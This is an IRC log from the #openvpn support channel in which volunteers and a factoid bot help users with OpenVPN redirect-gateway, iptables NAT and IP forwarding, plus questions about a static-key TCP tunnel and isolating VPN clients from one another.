12:37 <@krzee> cat /proc/sys/net/ipv4/ip_forward    is 1 ?
12:37 < ipu42> I think the iptables is where my problem might lie.
12:37 <@krzee> we were getting there, thats next
12:37 < ipu42> krzee: Yup. Set that.
12:37 <@krzee> ok, show us iptables-save in  pastebin
12:38 < ipu42> krzee: Thanks for the help. Let me do that.
12:38 <@krzee> you're welcome, you would have helped yourself with the flowchart if i didnt forget to mirror them before taking it down for 2 days :D
12:38 < ipu42> krzee: Also, I removed the ip-tables and redirect-gateway for now. Because, I am unable to browse directly.
12:39 <@krzee> nooo
12:39 < ipu42> krzee: Let me get onto another computer and then come back here.
12:39 <@krzee> you can keep iptables
12:39 <@krzee> just remove redirect-gateway
12:39 <@krzee> then we can help with your iptables problem
12:39 <@krzee> you cant tell us "this isnt the firewall i was using, but goodluck!"
12:40 < ipu42> krzee: No, I meant, that if I try connecting with these settings, I am unable to browse and will lose this connection.
12:41 < ipu42> So let me get to another computer so I can IRC with you
12:41 <@krzee> ok
12:41 < ipu42> this was from yesterday
12:41 < ipu42> http://pastebin.com/s4KxYiER
12:42 <@krzee> is that identical to now?
12:42 < ipu42> now I disabled all rules.
12:42 <@krzee> oh we looked at this before
12:42 < ipu42> ok...
12:42 <@krzee> ok since you disabled all, do these:
12:42 <@krzee> !linnat
12:42 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
12:42 <@krzee> iptables -I FORWARD -i tun+ -j ACCEPT
12:43 <@krzee> that should work if all default to accept
12:48 < ipu42> krzee: http://pastebin.com/7xFxyPSS
12:49 < ipu42> That is my current configuration
12:49 <@krzee> you arent pushing redirect-gateway
12:49 < ipu42> not sure why my server iptables-save shows lots more information that my client iptables-save when everything is disabled.
12:49 < ipu42> True. I disabled it today.
12:49 < ipu42> Let me look at linnat.
12:51 <@krzee> you didnt add either rule i said to add
12:51 < ipu42> I will add now.
12:51 < ipu42> Please give me a few mins. :-)
12:52 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
12:54 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Ping timeout: 258 seconds]
12:55 < ipu42> krzee: I am doing 2 things now. 1. add 'iptables -I FORWARD -i tun+ -j ACCEPT'
12:55 < ipu42> 2. add push "redirect-gateway def1"
12:55 < ipu42> both these on the server.
12:56 < ipu42> I will let u know soon.
12:56 <@krzee> and nat on server
12:56 <@krzee> aka, the 3 things here:
12:56 <@krzee> !redirect
12:56 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:56 <@vpnHelper> http://ircpimps.org/redirect.png
12:56 < ipu42> oh ok.
12:57 < ipu42> !nat
12:57 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
12:57 < ipu42> !linnat
12:57 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
12:59 < ipu42> krzee: my server configuration has this "server 10.9.8.0 255.255.255.0", so when doing nat POSTROUTING is it 10.9.8.0/24 that I need to masquerade?
13:00 < ipu42> Or is it still 10.8.0.0/24?
13:00 <@krzee> your subnet
13:01 < ipu42> How do I find that. sorry ... for asking dumb questions...
13:03 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Remote host closed the connection]
13:11 < ipu42> krzee: About to reconnect. Will disconnect and be back again.
13:11 < ipu42> krzee: Thanks for the help.
13:11 -!- ipu42 [~sasank@ool-457c81bc.dyn.optonline.net] has quit [Quit: leaving]
13:13 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
13:15 -!- ipu42 [~sasank@5.254.140.54] has joined #openvpn
13:15 < ipu42> krzee: Ok, I am on another computer.
13:16 < ipu42> The client computer is able to connect to VPN, but no longer has internet connection.
13:16 < ipu42> I changed the subnet to 10.8.0.0
13:17 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
13:17 < ipu42> Previously before doing the "redirect-gateway" I was able to ping the server over open vpn.
13:17 < ipu42> Now after doing the redirect-gateway, I'm unable to ping either.
13:20 <@krzee> gotta go hand in some servers, bbl
13:20 < ipu42> Ok,
13:21 < ipu42> thanks for looking at this krzee
13:25 < ipu42> !redirect
13:25 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:25 <@vpnHelper> http://ircpimps.org/redirect.png
13:26 < rob0> "I changed the subnet to 10.8.0.0" means what exactly? The network in the --server directive? Why?
13:27 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Ping timeout: 245 seconds]
13:27 < rob0> Why not just change the SNAT/MASQUERADE rule to match the network you had before?
13:27 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
13:47 -!- Chaot_s [~chaot_s@94-227-62-231.access.telenet.be] has quit [Read error: Connection reset by peer]
13:49 < ipu42> rob0: Just trying to make it simple. I'm not very good at this stuff. :-)
13:54 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
13:54 < ipu42> !ipforward
13:54 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
13:55 < ipu42> !linipforward
13:55 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
13:56 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
13:57 < ipu42> !nat
13:57 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
13:57 < ipu42> !linnat
13:57 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
13:57 < ipu42> !def1
13:57 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
14:03 < ipu42> anyone able to view? http://ircpimps.org/redirect.png
14:03 < ipu42> I get page not found
14:05 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 246 seconds]
14:06 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
14:07 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
14:16 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
14:35 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 256 seconds]
14:39 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
14:40 < ipu42> Anyone wants to 'debug' my redirect-gateway issue?
14:44 -!- julianoliver [~julian@202.66.238.89.in-addr.arpa.manitu.net] has quit [Ping timeout: 260 seconds]
14:45 -!- julianoliver [~julian@202.66.238.89.in-addr.arpa.manitu.net] has joined #openvpn
14:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:01 -!- JSharpe_ [~JSharpe@176.253.10.142] has joined #openvpn
15:04 < ipu42> Anyone wants to 'debug' my redirect-gateway issue?
15:05 -!- JSharpe [~JSharpe@ns237264.ovh.net] has quit [Ping timeout: 245 seconds]
15:07 -!- brute11k [~brute@89.249.231.82] has quit [Read error: Connection reset by peer]
15:09 -!- brute11k [~brute@89.249.231.82] has joined #openvpn
15:10 < ipu42> !redirect
15:10 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:10 <@vpnHelper> http://ircpimps.org/redirect.png
15:25 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-jvgwzfkoxetdppfe] has quit [Ping timeout: 246 seconds]
15:26 -!- mrrothhcloud__ [uid4697@gateway/web/irccloud.com/x-ajqzlfsxhyjnzjmx] has quit [Ping timeout: 245 seconds]
15:28 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:2c0f:da45:a4f6:c5a5] has joined #openvpn
15:53 -!- mihi [~mihi@p5B07BD4F.dip0.t-ipconnect.de] has joined #openvpn
16:10 -!- JackWinter [~jack@vodsl-5042.vo.lu] has quit [Ping timeout: 258 seconds]
16:13 -!- JackWinter [~jack@vodsl-5042.vo.lu] has joined #openvpn
16:16 -!- mihi [~mihi@p5B07BD4F.dip0.t-ipconnect.de] has quit [Quit: Leaving]
16:26 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Quit: Zenum BNC - zenum.co.uk]
16:27 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
16:43 -!- SteWa [~j5m1th@2.186.58.62] has quit [Ping timeout: 245 seconds]
16:49 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Quit: Leaving]
16:52 -!- SteWa [~j5m1th@2.186.58.62] has joined #openvpn
17:05 < ipu42> Anyone wants to help me 'debug' redirect-gateway issue?
17:09 < kisom> ipu42: Just ask
17:12 < rob0> Did the VPN connect? Can you ping the server's VPN IP? Did you enable IP forwarding (!linipforward) on the server? Are you doing source NAT (!linnat) for the VPN clients? Do you have a current pastebin with all the relevant information?
17:24 -!- mrrothhcloud__ [uid4697@gateway/web/irccloud.com/x-eeermemoefalpqov] has joined #openvpn
17:25 < ipu42> oops sorry.. Just back
17:25 < ipu42> let me post the relevant info in paste bin.
17:29 -!- Brand3n [~Unknown@unaffiliated/brand3n] has joined #openvpn
17:29 -!- Brand3n [~Unknown@unaffiliated/brand3n] has left #openvpn ["Leaving"]
17:34 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-ekfypophzidmozfw] has joined #openvpn
17:40 < ipu42> rob0: http://pastebin.com/NTDP5j80
17:40 < ipu42> !linnat
17:40 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
17:44 < ipu42> !redirect
17:44 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:44 <@vpnHelper> http://ircpimps.org/redirect.png
17:44 < ipu42> !def1
17:44 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
17:45 < ipu42> !nat
17:45 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
17:45 < ipu42> !linnat
17:45 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
17:48 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
17:51 -!- levifig [~levifig@spwn.co] has joined #openvpn
18:03 < rob0> Did you answer my other questions? Did you fix the !linnat omission (no "-o" specified)?
18:04 < rob0> bbiaf
18:05 < ipu42> Yup
18:05 < ipu42> I fixed it.
18:06 < ipu42> Something strange happens, if I use redirect-gateway, it doesn't work on the client, and my SSH connection to it breaks.
18:06 < ipu42> still no luck.
18:08 < ipu42> http://pastebin.com/izkMqnKJ
18:08 < ipu42> is there someway I can 'monitor' what happens to packets received by the server?
18:17 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
18:21 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
18:24 -!- Chaot_s [~chaot_s@94-227-62-231.access.telenet.be] has joined #openvpn
18:36 -!- killit2 [~shawn@70.92.232.210] has joined #openvpn
18:39 -!- killit2 [~shawn@70.92.232.210] has quit [Client Quit]
18:43 -!- david___1 [~david@192.40.56.116] has joined #openvpn
18:44 < david___1> I'm running the community edition of OpenVPN, is there a way to get the community version's login stuff on IOS?
18:49 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 255 seconds]
18:57 -!- ipu42 [~sasank@5.254.140.54] has quit [Quit: leaving]
18:58 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 252 seconds]
19:09 -!- Chaot_s [~chaot_s@94-227-62-231.access.telenet.be] has quit [Ping timeout: 245 seconds]
19:13 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
19:17 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
19:25 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
19:39 -!- SteWa [~j5m1th@2.186.58.62] has quit [Read error: Operation timed out]
19:42 -!- SteWa [~j5m1th@2.186.55.174] has joined #openvpn
19:46 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
19:46 -!- SteWa [~j5m1th@2.186.55.174] has quit [Ping timeout: 256 seconds]
19:47 -!- SteWa [~j5m1th@2.186.55.174] has joined #openvpn
19:48 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 264 seconds]
19:50 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
19:51 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 252 seconds]
20:00 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
20:01 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 245 seconds]
20:22 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
20:45 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 258 seconds]
20:46 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
20:54 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
20:56 -!- brute11k [~brute@89.249.231.82] has quit [Read error: Connection reset by peer]
20:58 -!- brute11k [~brute@89.249.231.82] has joined #openvpn
21:03 -!- master_o1_master [~master_of@p4FF246F6.dip0.t-ipconnect.de] has joined #openvpn
21:06 -!- master_of_master [~master_of@p4FF2413D.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds]
21:12 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
21:27 -!- SteWa [~j5m1th@2.186.55.174] has quit [Ping timeout: 245 seconds]
21:29 -!- SteWa [~j5m1th@2.186.55.174] has joined #openvpn
21:30 -!- spavis [~spavis@24-107-225-154.dhcp.oxfr.ma.charter.com] has joined #openvpn
21:35 -!- SteWa [~j5m1th@2.186.55.174] has quit [Ping timeout: 245 seconds]
21:36 -!- SteWa [~j5m1th@2.186.55.174] has joined #openvpn
21:36 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
21:44 -!- Ali_nz2 [~Ali_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has joined #openvpn
21:45 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has quit [Ping timeout: 258 seconds]
21:48 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:2c0f:da45:a4f6:c5a5] has quit [Ping timeout: 246 seconds]
21:57 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
22:02 -!- SteWa [~j5m1th@2.186.55.174] has quit [Ping timeout: 245 seconds]
22:03 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
22:11 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
22:14 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
22:14 -!- SteWa [~j5m1th@2.186.55.174] has joined #openvpn
22:15 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:2c0f:da45:a4f6:c5a5] has joined #openvpn
22:15 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:2c0f:da45:a4f6:c5a5] has quit [Read error: Connection reset by peer]
22:23 -!- vechnyj [~vechnyj@unaffiliated/vechnyj] has joined #openvpn
22:25 < vechnyj> hi. i'm using openvpn with a single static key and route over tcp. the setup had suddenly developed the problem of stopping to work a very short while after the client is started. to debug i tried pinging the remote end and it seems the thing always stops working after 16-18 pings. any clues about the problem or further debugging will be appreciated.
22:25 -!- SteWa [~j5m1th@2.186.55.174] has quit [Ping timeout: 245 seconds]
22:26 < vechnyj> (i changed the packet length for pings. 64 to 1024. doesn't seem to affect the outcome)
22:33 -!- SteWa [~j5m1th@2.186.55.174] has joined #openvpn
22:39 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:2c0f:da45:a4f6:c5a5] has joined #openvpn
22:39 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
22:39 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Quit: WeeChat 0.4.0]
22:46 -!- spavis [~spavis@24-107-225-154.dhcp.oxfr.ma.charter.com] has quit []
23:01 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:2c0f:da45:a4f6:c5a5] has quit [Ping timeout: 246 seconds]
23:22 < david___1> I'm running the community edition of OpenVPN, is there a way to get the community version's login stuff on IOS?
23:23 < pekster> "login stuff" ?
23:28 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
23:34 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
23:34 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
23:37 < vechnyj> any takers for my question?
23:55 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:2c0f:da45:a4f6:c5a5] has joined #openvpn
23:55 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:2c0f:da45:a4f6:c5a5] has quit [Read error: Connection reset by peer]
23:57 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
--- Day changed Sun May 05 2013
00:00 < EugeneKay> vechnyj - not a clue. I'd ask why you're using TCP and static keys, but I'm sure you think you have excellent reasons
00:01 < vechnyj> the reasons for using tcp and static keys are exactly what you have guessed already :)
00:04 < EugeneKay> try tcpdump-ing the tunnel
00:06 < vechnyj> my end keeps sendings icmp echo req's
00:07 < vechnyj> but the other end stops replies after the 18th reply
00:07 < vechnyj> what baffles is that changing packet size doesn't change the count of successful pings
00:35 -!- vandemar [spin@nginx/adept/vandemar] has joined #openvpn
01:02 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
01:04 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
01:25 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
01:27 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
01:28 -!- vechnyj [~vechnyj@unaffiliated/vechnyj] has left #openvpn ["WeeChat 0.4.0"]
01:45 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Read error: Connection reset by peer]
01:46 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has joined #openvpn
01:46 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
01:46 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
01:52 -!- rymnio [~chatzilla@91.234.245.245] has joined #openvpn
02:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:22 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has quit [Read error: Connection reset by peer]
02:22 -!- AndrewX192 [~andrew@131.191.116.183] has joined #openvpn
02:22 -!- AndrewX192 [~andrew@131.191.116.183] has quit [Changing host]
02:22 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has joined #openvpn
02:45 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has quit [Read error: Connection reset by peer]
02:46 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has joined #openvpn
03:00 -!- Rene [~Rene@tigger.hertell.com] has joined #openvpn
03:00 < Rene> Hi all!
03:02 -!- j5m1th__ [~j5m1th@2.186.99.225] has joined #openvpn
03:02 < Rene> has anyone divided a vpn-segment into multiple parts, eg workers can access servers, but not each others? I i use client-to-client, then everyone can access eachother, and that's not desirable..
03:03 -!- SteWa [~j5m1th@2.186.55.174] has quit [Ping timeout: 245 seconds]
03:04 < Rene> i was thinking of giving ip:s to servers between 1-99, and for workers 100-254. I just don't know how i should block ip:s from 1-99 to not see each other, but that they can access 100->254
03:05 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 245 seconds]
03:08 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
03:08 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Remote host closed the connection]
03:09 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has joined #openvpn
03:09 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
03:09 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
03:13 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has quit [Ping timeout: 276 seconds]
03:14 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
03:14 -!- levifig [~levifig@spwn.co] has joined #openvpn
03:17 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
03:20 < vandemar> Rene: ipset perhaps?
03:23 < Rene> vandemar: what is ipset?
03:24  * Rene looking for ipset
03:27 < Rene> I have never heard from ipset before, so not really sure how to work it out..
03:27 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 245 seconds]
03:28 < david___1> oop.
03:28 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
03:29 < Rene> is it something that could maybe work out with iptables? My openvpn-skills are pathetic, but i have run it for several years succesfully in my own network (server, HTPC, my office computer, my laptop, my parents computer), and this way i can always access tese if i need. but anything beyond that feels curently difficult :-)
03:30 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:31 -!- mback2k_ [sbnc@www.uxnr.de] has quit [Remote host closed the connection]
03:33 -!- mback2k_ [~freenode@2a00:1828:2000:378:8080:0:59ee:542f] has joined #openvpn
03:36 < vandemar> Rene: it lets you abstract large numbers of ip addresses that don't fit nicely into an a.b.c.d/x netblock and create rules to deal with those lists of ips.  http://ipset.netfilter.org/
03:36 <@vpnHelper> Title: IP sets (at ipset.netfilter.org)
03:42 < Rene> vandemar: so i can create rules that block traffic between all machines between eg: 192.168.10.1 and 192.168.10.99, but lets these access all ip:s from 192.168.10.100-> ?
03:56 -!- mback2k_ [~freenode@2a00:1828:2000:378:8080:0:59ee:542f] has quit [Remote host closed the connection]
03:59 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
04:00 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 276 seconds]
04:04 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
04:07 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
04:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:11 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
04:13 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
04:14 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
04:15 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
04:17 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
04:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
04:58 -!- zheng [~zheng@101.229.199.34] has joined #openvpn
05:00 -!- erry [erry@freenode/staff/erry] has quit [Quit: changing servers]
05:00 -!- erry [erry@freenode/staff/erry] has joined #openvpn
05:03 -!- WinstonSmith [~WinstonSm@p5B043777.dip0.t-ipconnect.de] has joined #openvpn
05:03 -!- WinstonSmith [~WinstonSm@p5B043777.dip0.t-ipconnect.de] has quit [Changing host]
05:03 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:07 -!- rymnio_ [~chatzilla@91.234.245.245] has joined #openvpn
05:10 -!- Airwave_ [~Airwave@94-246-37.45.3p.ntebredband.no] has joined #openvpn
05:11 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-dtxogybnwzaivfop] has joined #openvpn
05:12 -!- Strider_ [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
05:13 -!- rob0_ [rob0@harrier.slackbuilds.org] has joined #openvpn
05:13 -!- rob0_ [rob0@harrier.slackbuilds.org] has quit [Changing host]
05:13 -!- rob0_ [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
05:13 -!- NChief_ [~nchief@unaffiliated/nchief] has joined #openvpn
05:14 -!- nastjuid_ [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
05:16 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
05:16 -!- Shadowized1 [~Shadowize@st0p.trying.to.trac3.me] has joined #openvpn
05:17 -!- rymnio [~chatzilla@91.234.245.245] has quit [Ping timeout: 248 seconds]
05:17 -!- mrrothhcloud__ [uid4697@gateway/web/irccloud.com/x-eeermemoefalpqov] has quit [Ping timeout: 248 seconds]
05:17 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has quit [Ping timeout: 248 seconds]
05:17 -!- NChief [~nchief@unaffiliated/nchief] has quit [Ping timeout: 248 seconds]
05:17 -!- hjohnson [~hans@d99-199-161-6.bchsia.telus.net] has quit [Ping timeout: 248 seconds]
